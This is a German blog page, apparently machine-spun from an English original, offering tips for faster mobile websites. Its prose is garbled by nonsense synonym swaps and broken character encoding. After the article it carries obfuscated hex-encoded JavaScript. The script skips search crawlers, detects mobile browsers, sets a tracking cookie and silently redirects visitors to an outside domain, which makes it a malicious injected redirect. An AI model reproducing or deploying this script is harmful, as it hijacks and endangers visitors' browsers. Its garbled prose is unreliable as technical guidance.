Home » Blogs » Website herauf dem Vereinigung – Entwickeln fA?r mobile GerA�te

 
 

Website herauf dem Vereinigung – Entwickeln fA?r mobile GerA�te

 
 

Da A?ber 75% der Online-Kunden Zugang abgeschlossen Smartphones ferner Tablets besitzen, ist das wichtig, falls Ihre Internetseite mit all diesen unterschiedlichen GerA�ten kompatibel ist, mit der absicht, sicherzustellen, falls Sie einen treuen mobilen Kundenstamm genieAYen.

Dieses weiterer entscheidender Faktor fA?r die Erweiterung Ihrer mobilen Zielgruppe ist die Ladezeit Ihrer Website. Nachdem habe mein einige wichtige Punkte aufgefA?hrt, mit jenen Sie Ihre mobile Internetseite optimieren sachverstand, um das zu korrigieren.
Desktop-Websites genieAYen den groAYen Vorteil gegenA?ber ihren mobilen Pendants in Bezug auf die Seitenladezeiten. Die folgenden AufzA�hlungspunkte beschreiben manche dieser Schmerzen:
A?ber die Implementierung einiger dieser folgenden Best-Practice-Tipps stellen Sie sicher, dass Ihre Internetseite in mobilen Browsern fixer geladen wird.

BildgrA�AYe ist elementar

Die allgemeine Faustregel besteht darin, die Nutzung von Bildern auf mobilen Websites so weit wie mA�glich einzuschrA�nken. Wenn diese eine, einfache, bildfreie Website vorkommen kann, sein die Benutzerfreundlichkeit und die Seitenladezeit exorbitant verbessert. Wenn Bilder haben sein haben sich verpflichtet, verwenden Sie eines jener vielen kostenlosen Tools im Internet, um die DateigrA�AYe zu reduzieren.

Auftreffen Sie Ereignisse nicht klicken

Falls jemand via einem MobilgerA�t auf die SchaltflA�che klickt, kommt dieses zu ihrer erheblichen Verlangsamung. Indem stattdessen ein Touchend-Ereignis verwendet sieht man; Sie sachverstand die Benutzerfreundlichkeit erheblich korrigieren. Touchend-Ereignisse sein ausgelA�st, falls ein Anwender den Finger von jener OberflA�che des Bildschirms hebt und die VerzA�gerung reduziert.

Abridge-Skripte und Stylesheets

A?ber das BekA�mpfen von Skripts und Stylesheets, die auf der mobilen Website verwendet werden, und Eliminieren aller unerwA?nschten Zeichen ferner Leerzeichen kA�nnen Sie die Website jetzt fA?r schnellere Downloadgeschwindigkeiten optimieren. Ebenso hier sind eine FA?lle von Online-Tools, die im rahmen (von) dieser Kapitulation helfen sachverstand. UnterstA?tzung fA?r der Emendation der mobilen Caching- und Seitenladezeiten.

Einige Websitebesitzer reduzieren die Zeit jetzt fA?r das Laden der S., indem jene Dateien komprimieren. Jedoch befinden sich nicht alle Browser
kA�nnen diese Dateien korrekt zwischenspeichern.

HTML5 des weiteren CSS3

CSS3 und HTML5 bieten neue, leichtgewichtige Funktionen und Strukturelemente, die schnellere Downloadzeiten zu gunsten von mobile Webseiten ermA�glichen. Jene ermA�glichen Designern das einfache Anwenden vonseiten Text / Box-Schlagschatten, Animationen und abgerundeten Ecken.

Die Online-Community hat mehrere Seiten via Dokumentation erstellt, die sowohl HTML5 wie auch CSS3 abdecken, und es gibt viele Foren ferner Blogs, die den angehenden Programmierer unterstA?tzen.

Optimiertes Caching

Im Gegensatz zum Desktop-Browser-Caching kA�nnen mobile GerA�te niemals groAYen Datenmengen speichern. Dies wirkt einander auf die Geschwindigkeit aus, mit der diese eine, Seite heruntergeladen werden mag, und kann Benutzer davon abhalten, Die Website abgeschlossen laden. Dieses Problem wurde durch die Verwendung der HTML5-Webspeicheranwendung behoben, die mit den am hA�ufigsten verwendeten mobilen Browsern installiert wird. Viele dieser GerA�te verwenden Cache-Ressourcen am lokalen Silo (getreide), die unnA�tige Anforderungen vom Webserver vermeiden.

Eingebettete HTML-Ressourcen

Wenn die Elemente Ihrer Website nicht auf Diesem mobilen GerA�t zwischengespeichert werden, mA?ssen Jene nicht immerzu extern darauf zugreifen. Stattdessen kA�nnen jene in den HTML-Code eingebettet werden. Dieser einzige Nachteil dieser LA�sung ist, falls sie abgeschlossen einer erhA�hten SeitengrA�AYe fA?hren kann. Es gibt jedoch Unterstuetzung mit Online-Tools, mit denen Sie die Elemente lediglich dann mit den HTML-Code einbetten bringen, wenn nicht Caching stattgefunden hat.

Reduzieren Jene JavaScript-Parsing

Ladezeiten sachverstand erheblich erhA�ht werden, falls das mobile GerA�t JavaScript-Code analysiert. Anhand die Abbau der A?ber analysierenden Tags werden die Ladezeiten dieser Website stattlich verbessert.

Optimieren , alternativ entfernen Jene Redirects

Wenn die Desktopwebsite fuer eine mobile Website umgeleitet wird, erhA�ht die clientseitige Serververarbeitung die Ladezeit der Websites. DarA?ber hinaus FA�llen, darA?ber hinaus denen einander die zwei Standorte fuer unterschiedlichen Orten befinden, ist natA?rlich dies oft unvermeidlich des weiteren die mobile Site koennte cachefA�hig eingegangen werden. Wenn sich die beiden Webseiten jedoch uff (berlinerisch) demselben Server befinden, sollten Sie die Verwendung von seiten Weiterleitungen verhA?ten und die Website geradlinig fA?r den Anwender bereitstellen. Falls Sie einen Link uff (berlinerisch) der mobilen Website uff (berlinerisch) Ihrer Hauptseite anzeigen, kA�nnen Sie hintanhalten, dass Die Besucher frustrierend warten.

Implementieren Jene AJAX

Durch die Implementierung von AJAX auf Ihrer mobilen Website wird die Ladezeit der Seite erheblich fragmentarisch, da Information vom Http-server abgerufen sein kA�nnen, bar dass eine Seitenaktualisierung erforderlich ist. Mit AJAX sachverstand Elemente dieser Seite geA�ndert werden, ohne dass die gesamte Seite rekonstruiert sein muss. Dieses Beispiel hierfA?r ist die Anzeige von Dankesnachricht, sobald ein website erstellen kosten Kontaktformular gesendet ist. AJAX ermA�glicht auch mobilen Webanwendungen dies schnelle Laden und Erfassen von aktualisierten Inhalten, wA�hrend der Benutzer den Rest der Seite anzeigt.

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

 

No comments

Be the first one to leave a comment.

Post a Comment